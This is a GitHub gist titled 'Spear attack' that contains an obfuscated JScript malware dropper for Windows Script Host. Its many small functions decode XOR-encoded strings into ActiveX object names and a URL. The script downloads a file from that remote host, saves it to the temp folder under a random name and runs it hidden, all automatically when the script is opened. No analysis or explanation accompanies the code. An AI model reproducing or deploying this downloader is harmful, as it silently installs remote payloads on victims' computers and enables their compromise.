Created
May 20, 2016 00:58
-
-
Save genecyber/50c295a4a97a1925baca13aa447feece to your computer and use it in GitHub Desktop.
Spear attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function UHfIvfG() { | |
var MabOTGE = [(9), "f", 4][1]; | |
return MabOTGE; | |
} | |
function rQAVRn() { | |
var UdejotRq = [3, "r", 6][1]; | |
return UdejotRq; | |
} | |
function agwFZ() { | |
qnem = "C"; | |
var CnwVQ = [4, qnem, 5][1]; | |
return CnwVQ; | |
} | |
function PLKEU() { | |
var QgIf = (4730, 9803, 5575, 5319, 6853, 5436, 8172, "A"); | |
return QgIf; | |
} | |
function Bjrze() { | |
var Ejerj = (6699, 8416, 7573, 7566, 7840, 5445, 4370, 3328, 5671, "o"); | |
return Ejerj; | |
} | |
function FMtKscb() { | |
var gdML = "c"; | |
return gdML; | |
} | |
function DWa() { | |
var HPZQdtIu = "a"; | |
return HPZQdtIu; | |
} | |
function vaXRGWq() { | |
var kHggxpW = "e"; | |
return kHggxpW; | |
} | |
function HaaCy() { | |
var YcVDma = "h"; | |
return YcVDma; | |
} | |
function MPbQO() { | |
var vhbzUNuB = [ | |
[parseInt][0] | |
][0]; | |
return vhbzUNuB; | |
} | |
function ChrUkt(IaXV) { | |
var usGNab = [(MPbQO())][0](IaXV); | |
return usGNab; | |
} | |
function Nqe() { | |
var lIErgT = [FMtKscb() + "h" + DWa() + rQAVRn()]; | |
var LSqGv = [agwFZ() + Bjrze() + "d" + vaXRGWq() + "A" + "t"]; | |
var HqZOsy = lIErgT[0] + LSqGv[0]; | |
return HqZOsy; | |
} | |
function LeBDK() { | |
var gTjJnBq = [FMtKscb() + HaaCy() + DWa() + rQAVRn() + PLKEU() + "t"]; | |
var BrzM = gTjJnBq[0]; | |
return BrzM; | |
} | |
function TggTh(OMpFeFIa, FgAXpiY) { | |
var eegYtRQK = OMpFeFIa[LeBDK()](FgAXpiY); | |
return eegYtRQK; | |
} | |
function sIuiKl(deWN, GJhN) { | |
var mnfCmT = deWN[Nqe()](GJhN); | |
return mnfCmT; | |
} | |
function rNeIIob(pkM) { | |
var KBbELKRn = [UHfIvfG(), rQAVRn(), Bjrze(), "m", agwFZ(), "h", DWa(), rQAVRn(), agwFZ(), Bjrze(), "d", vaXRGWq()]; | |
return KBbELKRn[pkM]; | |
} | |
function csQHdV() { | |
var TPss = rNeIIob(0) + rNeIIob(1) + rNeIIob(2) + rNeIIob(3) + rNeIIob(4) + rNeIIob(5) + rNeIIob(6) + rNeIIob(7) + rNeIIob(8) + rNeIIob(9) + rNeIIob(10) + rNeIIob(11); | |
return TPss; | |
} | |
function HGH(hmEYSK, QaGOn) { | |
var rwGyvZ = hmEYSK % QaGOn; | |
return rwGyvZ; | |
} | |
function NNvUv(SkyjQhq, kGOXTN) { | |
var lKMxX = SkyjQhq ^ kGOXTN; | |
return lKMxX; | |
} | |
function DQWncT(wrZEE) { | |
var ajLVUnXy = wrZEE / 3; | |
return ajLVUnXy; | |
} | |
function PXnym() { | |
var IpmJjbbC = "gth"; | |
return IpmJjbbC; | |
} | |
function lpHb() { | |
var tZkRuj = ["l" + vaXRGWq() + "n" + PXnym()][0]; | |
return tZkRuj; | |
} | |
function LWfsDMU(EYv) { | |
var FTTd = EYv + 1; | |
return FTTd; | |
} | |
function ApkV(jbX) { | |
var LdaxZULX = ''; | |
var KFIWp = 0; | |
var YruBLtLC = "MmOiOWpS" [lpHb()]; | |
var VJsPDwG = 0; | |
var zGNzB = ""; | |
var wUicCf = jbX[lpHb()]; | |
while (VJsPDwG < wUicCf - 2) { | |
var udJPF = [(0)][(0)]; | |
var iqXVl = LWfsDMU(VJsPDwG); | |
var obkKHzk = TggTh(jbX, iqXVl); | |
var nJPLf = TggTh(jbX, VJsPDwG + 2); | |
var UimZAHd = TggTh(jbX, VJsPDwG); | |
zGNzB = UimZAHd + obkKHzk + nJPLf; | |
var wIDE = TggTh(jbX, VJsPDwG); | |
var AAlhOmsz = TggTh(jbX, VJsPDwG + 1); | |
var mnDqT102 = (AAlhOmsz == 0); | |
if (wIDE == udJPF) { | |
var KHTKhBO = VJsPDwG + 1; | |
var XwTCv = VJsPDwG + 2; | |
var cHCRT = TggTh(jbX, XwTCv); | |
zGNzB = TggTh(jbX, KHTKhBO) + cHCRT; | |
} | |
var qMMZURsS = TggTh(jbX, VJsPDwG); | |
var mnDqT101 = (qMMZURsS == 0); | |
if (mnDqT101 && mnDqT102) { | |
var RWRoQuKl = VJsPDwG + 2; | |
zGNzB = TggTh(jbX, RWRoQuKl); | |
} | |
KFIWp = ChrUkt('' + zGNzB + ''); | |
var rNnlHE = DQWncT(VJsPDwG); | |
var tESlXLTO = HGH(rNnlHE, YruBLtLC); | |
var mnDqT = sIuiKl("MmOiOWpS", tESlXLTO); | |
KFIWp = NNvUv(KFIWp, mnDqT); | |
var iQpwGJ = csQHdV(); | |
var RgzF = String; | |
LdaxZULX = LdaxZULX + RgzF[iQpwGJ](KFIWp); | |
var KmYIG = 3; | |
VJsPDwG = VJsPDwG + KmYIG; | |
} | |
return LdaxZULX; | |
} | |
function CcfumR() { | |
var NGkjy = "037025059025117120095098122089097088125096094098124095097088127100095055032012016005032052027060044009042027016020002042061025097012055050"; | |
var xGBqkn = ApkV(NGkjy); | |
return xGBqkn; | |
} | |
function YPzdf() { | |
var rndoa = "026062044027038039004"; | |
var QfCIORz = ApkV(rndoa); | |
var FtRyO = [1, (eval(QfCIORz)), 2][1]; | |
return FtRyO; | |
} | |
function Agt() { | |
var ualJnk = "000062023036003101094011000033007061027007"; | |
var LIkpJp = ApkV(ualJnk); | |
return LIkpJp; | |
} | |
function XrgxG(rtwjdld, kdkndmd) {} | |
function ZqzBZSD(tuiyo, fmmd, kemn) { | |
if (typeof WScript[ApkV("040014039006")] == "unknown") { | |
tuiyo[ApkV("034029042007")](fmmd, kemn, 0); | |
} | |
} | |
function vFSQSJ(str) { | |
str[ApkV("014001032026042")](); | |
} | |
function QyOU(rety, serq) { | |
var UVrnikAH = "046000043071042047021115098014111"; | |
var HucfbD = ApkV(UVrnikAH) + rety; | |
serq[ApkV("063024033")](HucfbD, 0); | |
} | |
function TuKmU(ferqw, ertyu) { | |
var mQhcWK = 0; | |
ferqw[ApkV("029002060000059062031061")] = mQhcWK; | |
ferqw[ApkV("030012057012027056054058033008")](ertyu); | |
} | |
function EaflXf() { | |
var LBkYhDQ = Agt(); | |
var rsrZDHJ = YPzdf(); | |
var iqolwpOR = rsrZDHJ[ApkV("030014061000063035054038033001001008034050")]; | |
var FZEBKp = CcfumR(); | |
var lAltd = new ActiveXObject(LBkYhDQ); | |
var taUhHe = "012041000045013121035039063008046004"; | |
var Zuur = ApkV(taUhHe); | |
var fBHt = "010040027"; | |
var YYeRhv = ApkV(fBHt); | |
ZqzBZSD(lAltd, YYeRhv, FZEBKp); | |
var Vtgqur = "062008033013"; | |
var sRvh = ApkV(Vtgqur); | |
lAltd[sRvh](); | |
var HCY = "030014061000063035025061042067009000035050035042062025042004000053026054046025"; | |
var XMICosS = ApkV(HCY); | |
var EsMXvO = new ActiveXObject(XMICosS); | |
if (lAltd[ApkV("030025046029058036")] == 200) { | |
var QjnlhmpZ = new ActiveXObject(Zuur); | |
var LfMCA = '\\' + EsMXvO[ApkV("010008059061042058000029044000042")](); | |
var lxGUaUnS = EsMXvO[ApkV("010008059058063050019058044001009006035051021033")](2) + LfMCA; | |
QjnlhmpZ[ApkV("002029042007")](); | |
var xpPGzq = "026062044027038039004125030005042005035"; | |
var RliPHX = ApkV(xpPGzq); | |
QjnlhmpZ[ApkV("025020063012")] = 1; | |
var ygaJomZ = new ActiveXObject(RliPHX); | |
var GKttn = lAltd[ApkV("031008060025032057003054015002043016")]; | |
QjnlhmpZ[ApkV("026031038029042")](GKttn); | |
TuKmU(QjnlhmpZ, lxGUaUnS); | |
vFSQSJ(QjnlhmpZ); | |
QyOU(lxGUaUnS, ygaJomZ); | |
} | |
XrgxG(EsMXvO, iqolwpOR); | |
} | |
try { | |
if (typeof WScript.BuildVersion == "number") EaflXf(); | |
} catch (bhcCOvg) {} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment